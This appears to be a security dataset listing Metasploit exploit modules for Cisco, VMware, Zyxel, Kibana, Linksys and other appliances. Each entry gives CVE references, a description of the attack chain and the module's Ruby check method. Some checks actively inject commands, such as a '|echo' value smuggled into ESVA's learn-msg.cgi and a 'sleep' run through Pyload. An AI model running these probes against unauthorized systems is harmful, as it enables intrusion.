deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Cisco HyperFlex HX Data Platform Command Execution
Type: exploit
Path: modules/exploits/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec.rb
Platform: unix
Disclosure date: 2021-05-05
References: CVE-2021-1497, CVE-2021-1498, URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-rce-TjjNrkpR, URL-https://attackerkb.com/assessments/4f532147-b27b-4079-aed1-5cfdc402cf5c, URL-https://twitter.com/ptswarm/status/[PII_REDACTED]29201664
Targets: Unix Command, Linux Dropper

Description:
This module exploits an unauthenticated command injection in Cisco
          HyperFlex HX Data Platform's /storfs-asup endpoint to execute shell
          commands as the Tomcat user.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => %w[GET POST].sample,
      'uri' => normalize_uri(target_uri.path, 'storfs-asup')
    )

    return CheckCode::Unknown('Could not determine the target status') unless res

    unless res.code == 200 &&
           res.body.include?('Action for the servlet need be specified.')
      return CheckCode::Safe('The target is not vulnerable')
    end

    CheckCode::Appears('Storfs ASUP servlet detected.')
  end
Metasploit Module: Axis Network Camera .srv-to-parhand RCE
Type: exploit
Path: modules/exploits/linux/http/axis_srv_parhand_rce.rb
Platform: unix
Disclosure date: 2018-06-18
References: CVE-2018-10660, CVE-2018-10661, CVE-2018-10662, URL-https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/, URL-https://www.axis.com/files/faq/Advisory_ACV-128401.pdf
Targets: Unix In-Memory, Linux Dropper

Description:
This module exploits an auth bypass in .srv functionality and a
          command injection in parhand to execute code as the root user.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => "/index.html/#{rand_srv}"
    )

    if res && res.code == 204
      return CheckCode::Appears('The target appears to be vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: VMware vRealize Log Insight Unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/vmware_vrli_rce.rb
Platform: linux
Disclosure date: 2023-01-24
References: ZDI-23-116, ZDI-23-115, CVE-2022-31706, CVE-2022-31704, CVE-2022-31711, URL-https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive, URL-https://www.vmware.com/security/advisories/VMSA-2023-0001.html
Targets: VMware vRealize Log Insight < v8.10.2

Description:
VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as
          directory traversal, broken access control, deserialization, and information disclosure.
          When chained together, these vulnerabilities allow a remote, unauthenticated attacker to
          execute arbitrary commands on the underlying operating system as the root user.

          This module achieves code execution via triggering a `RemotePakDownloadCommand` command
          via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`
          thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the
          specially crafted PAK archive, which then will place the JSP payload under a certain API
          endpoint (pre-authenticated) location upon extraction for gaining remote code execution.

          Successfully tested against version 8.0.2.

Check method (fingerprinting):
print_status "Checking if #{peer} can be exploited."
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),
      'method' => 'GET'
    })
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
    translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))
    return Exploit::CheckCode::Unknown('Could not determine the target status') if translation.nil? || !translation.key?('version')

    version = Rex::Version.new(translation['version'])
    if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it
      return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")
    end

    Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: Froxlor Log Path RCE
Type: exploit
Path: modules/exploits/linux/http/froxlor_log_path_rce.rb
Platform: linux
Disclosure date: 2023-01-29
References: URL-https://shells.systems/author/askar/, CVE-2023-0315
Targets: Linux, Unix Command

Description:
Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
          to any directory on the OS level which the user www-data can write without restrictions from the backend which
          leads to writing a malicious Twig template that the application will render. That will lead to achieving a
          remote command execution under the user www-data.

Check method (fingerprinting):
begin
      @authenticated = login
    rescue InvalidRequest, InvalidResponse => e
      return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
    end

    version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, version_url),
      'keep_cookies' => true
    )

    if res.nil? || res.code != 200
      Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
    else
      version = res.get_html_document.at('body/span/text()')
      if version
        if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
          Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
        else
          Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
        end
      else
        Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
      end
    end
  end
Metasploit Module: Linksys E-Series TheMoon Remote Command Injection
Type: exploit
Path: modules/exploits/linux/http/linksys_themoon_exec.rb
Platform: linux
Disclosure date: 2014-02-13
References: CVE-2025-34037, EDB-31683, BID-65585, OSVDB-103321, URL-https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633, URL-https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630
Targets: Linux mipsel Payload, Linux mipsbe Payload

Description:
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
          injection. This vulnerability was used from the so-called "TheMoon" worm. There
          are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
          E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
          successfully against an E1500 v1.0.5.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/tmUnblock.cgi',
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code)
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Kibana Upgrade Assistant Telemetry Collector Prototype Pollution
Type: exploit
Path: modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb
Disclosure date: 2020-04-17
References: CVE-2020-7012, URL-https://hackerone.com/reports/852613

Description:
Kibana before version 7.6.3 suffers from a prototype pollution bug within the
          Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
          able to execute arbitrary code.
          Code execution is possible through two different ways. Either by sending data
          directly to Elastic, or using Kibana to submit the same queries. Either method
          enters the polluted prototype for Kibana to read.

          Kibana will either need to be restarted, or collection happens (unknown time) for
          the payload to execute. Once it does, cleanup must delete the .kibana_1 index
          for Kibana to restart successfully. Once a callback does occur, cleanup will
          happen allowing Kibana to be successfully restarted on next attempt.

Check method (fingerprinting):
if target == targets[0] # elastic
      return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    # this pulls a big JSON blob that we need as it has the version
    unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end

    version_json = CGI.unescapeHTML(Regexp.last_match(1))

    begin
      json_body = JSON.parse(version_json)
    rescue JSON::ParserError
      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
    end

    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

    @version = json_body['version']

    if Rex::Version.new(@version) < Rex::Version.new('7.6.3')
      return CheckCode::Appears("Exploitable Version Detected: #{@version}")
    end

    CheckCode::Safe("Unexploitable Version Detected: #{@version}")
  end
Metasploit Module: Zyxel Firewall ZTP Unauthenticated Command Injection
Type: exploit
Path: modules/exploits/linux/http/zyxel_ztp_rce.rb
Platform: unix
Disclosure date: 2022-04-28
References: CVE-2022-30525, URL-https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
Targets: Shell Dropper, Linux Dropper

Description:
This module exploits CVE-2022-30525, an unauthenticated remote
          command injection vulnerability affecting Zyxel firewalls with zero
          touch provisioning (ZTP) support. By sending a malicious setWanPortSt
          command containing an mtu field with a crafted OS command to the
          /ztp/cgi-bin/handler page, an attacker can gain remote command execution
          as the nobody user.

          Affected Zyxel models are:

          * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
          * USG20-VPN and USG20W-VPN using firmware 5.21 and below
          * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below

Check method (fingerprinting):
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))
    unless res
      return CheckCode::Unknown('The target failed to respond to check.')
    end

    unless res.code == 200
      return CheckCode::Safe('Failed to retrieve /')
    end

    ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
    if ver.nil?
      return CheckCode::Safe('Could not extract a version number')
    end

    if ver[0..5].to_i < 220420
      model = res.get_html_document.xpath('//title').text
      if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
        return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
      end
    end

    CheckCode::Safe("This determination is based on the build date string: #{ver}.")
  end
Metasploit Module: ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/projectsend_unauth_rce.rb
Platform: php
Disclosure date: 2024-07-19
References: CVE-2024-11680, URL-https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd[PII_REDACTED]4, URL-https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf, CVE-2024-11680
Targets: PHP Command

Description:
This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.
          The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,
          disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.

Check method (fingerprinting):
# Obtain the current title of the website
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
    })
    return CheckCode::Unknown('Target is not reachable') unless res

    # The title will always contain "»" ("&raquo;") regardless of localization. For example: "Log in » ProjectSend"
    title_regex = %r{<title>.*?&raquo;\s+(.*?)</title>}
    original_title = res.body[title_regex, 1]
    csrf_token = ''

    begin
      csrf_token = get_csrf_token
    rescue CSRFRetrievalError => e
      return CheckCode::Unknown("#{e.class}: #{e}")
    end

    # Generate a new title for the website
    random_new_title = Rex::Text.rand_text_alphanumeric(8)

    # Test if the instance is vulnerable by trying to change its title
    params = {
      'csrf_token' => csrf_token,
      'section' => 'general',
      'this_install_title' => random_new_title
    }
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
      'keep_cookie' => true,
      'vars_post' => params
    })

    return CheckCode::Unknown('Failed to connect to the provided URL') unless res

    # GET request to check if the title updated
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
    })

    # Extract new title for comparison
    updated_title = res.body[title_regex, 1]

    if updated_title != random_new_title
Metasploit Module: Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)
Type: exploit
Path: modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb
Platform: %w[unix linux
Disclosure date: 2024-10-28
References: CVE-2024-39205, CVE-2024-28397, URL-https://github.com/Marven11/CVE-2024-39205-Pyload-RCE, URL-https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape
Targets: Unix Command, Linux Dropper

Description:
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
          javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
          to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
          and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
          is the latest version of js2py which was released Nov 6, 2022.

          CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
          download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
          it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
          This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
          can bypass this restriction in order to access the API to achieve unauth RCE.

Check method (fingerprinting):
sleep_time = rand(5..10)

    _, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    unless elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Vulnerable('Successfully tested command injection.')
  rescue Msf::Exploit::Failed
    return CheckCode::Safe('Failed to test command injection.')
  end
Metasploit Module: E-Mail Security Virtual Appliance learn-msg.cgi Command Injection
Type: exploit
Path: modules/exploits/linux/http/esva_exec.rb
Platform: unix
Disclosure date: 2012-08-16
References: CVE-2012-10046, OSVDB-85462, BID-55050, EDB-20551

Description:
This module exploits a command injection vulnerability found in E-Mail Security
          Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
          OS commands without authentication. This module has been successfully tested on the
          ESVA_2057 appliance.

Check method (fingerprinting):
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => "/cgi-bin/learn-msg.cgi",
      'vars_get' => {
        'id' => "|echo #{clue};"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: IBM QRadar SIEM Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/ibm_qradar_unauth_rce.rb
Platform: unix
Disclosure date: 2018-05-28
References: CVE-2016-9722, CVE-2018-1418, CVE-2018-1612, URL-https://blogs.securiteam.com/index.php/archives/3689, URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/IBM/ibm-qradar-siem-forensics.txt, URL-https://seclists.org/fulldisclosure/2018/May/54, URL-http://www-01.ibm.com/support/docview.wss?uid=swg22015797

Description:
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
          that when chained together allow an attacker to achieve unauthenticated remote code execution.

          The first stage bypasses authentication by fixating session cookies.
          The second stage uses those authenticated sessions cookies to write a file to disk and execute
          that file as the "nobody" user.
          The third and final stage occurs when the file executed as "nobody" writes an entry into the
          database that causes QRadar to execute a shell script controlled by the attacker as root within
          the next minute.
          Details about these vulnerabilities can be found in the advisories listed in References.

          The Forensics web application is disabled in QRadar Community Edition, but the code still works,
          so these vulnerabilities can be exploited in all flavours of QRadar.
          This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
          patch 12 and 7.3.1 patch 3 are vulnerable.
          Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => '/ForensicsAnalysisServlet/',
      'method' => 'GET'
    })

    if res.nil?
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.code == 403
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Safe('The target is not vulnerable')
  rescue ::Rex::ConnectionError
    vprint_error 'Connection failed'
    return CheckCode::Unknown('Could not determine the target status')
  end

  # Handle incoming requests from QRadar
Metasploit Module: Centreon Web Useralias Command Execution
Type: exploit
Path: modules/exploits/linux/http/centreon_useralias_exec.rb
Platform: python
Disclosure date: 2016-02-26
References: EDB-39501

Description:
Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL
          errors.  This functionality can be abused for arbitrary code
          execution, and can be triggered via the login screen prior to
          authentication.

Check method (fingerprinting):
begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'GET'
      )
      /LoginInvitVersion"><br \/>[\s]+(?<version>[\d]{1,2}\.[\d]{1,2}\.[\d]{1,2})[\s]+<\/td>/ =~ res.body

      if version && Rex::Version.new(version) <= Rex::Version.new('2.5.3')
        vprint_good("Version Detected: #{version}")
        Exploit::CheckCode::Appears('The target appears to be vulnerable')
      else
        Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
Metasploit Module: VMware NSX Manager XStream unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144.rb
Platform: unix
Disclosure date: 2022-10-25
References: CVE-2021-39144, URL-https://www.vmware.com/security/advisories/VMSA-2022-0027.html, URL-https://kb.vmware.com/s/article/89809, URL-https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html, URL-https://attackerkb.com/topics/ngprN6bu76/cve-2021-39144
Targets: Unix (In-Memory), Linux Dropper

Description:
VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.
          VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.
          Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),
          a malicious actor can get remote code execution in the context of 'root' on the appliance.
          VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13
          are vulnerable to Remote Command Injection.

          This module exploits the vulnerability to upload and execute payloads gaining root privileges.

Check method (fingerprinting):
print_status("Checking if #{peer} can be exploited.")
    res = check_nsx_v_mgr
    return CheckCode::Unknown('No response received from the target!') unless res

    html = res.get_html_document
    html_title = html.at('title')
    if html_title.nil? || html_title.text != 'VMware Appliance Management'
      return CheckCode::Safe('Target is not running VMware NSX Manager (NSX-V).')
    end

    CheckCode::Appears('Target is running VMware NSX Manager (NSX-V).')
  end
Metasploit Module: OpenPLI Webif Arbitrary Command Execution
Type: exploit
Path: modules/exploits/linux/http/dreambox_openpli_shell.rb
Platform: %w{linux unix}
Disclosure date: 2013-02-08
References: OSVDB-90230, BID-57943, EDB-24498, URL-http://openpli.org/wiki/Webif, URL-http://www.s3cur1ty.de/m1adv2013-007

Description:
Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS command
          injection in the Webif 6.0.4 Web Interface. This is a blind injection, which means
          that you will not see any output of your command. A ping command can be used for
          testing the vulnerability.  This module has been tested in a box with the next
          features: Linux Kernel version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) #1
          Wed Aug 17 23:54:07 CEST 2011, Firmware release 1.1.0 (27.01.2013), FP Firmware
          1.06 and Web Interface 6.0.4-Expert (PLi edition).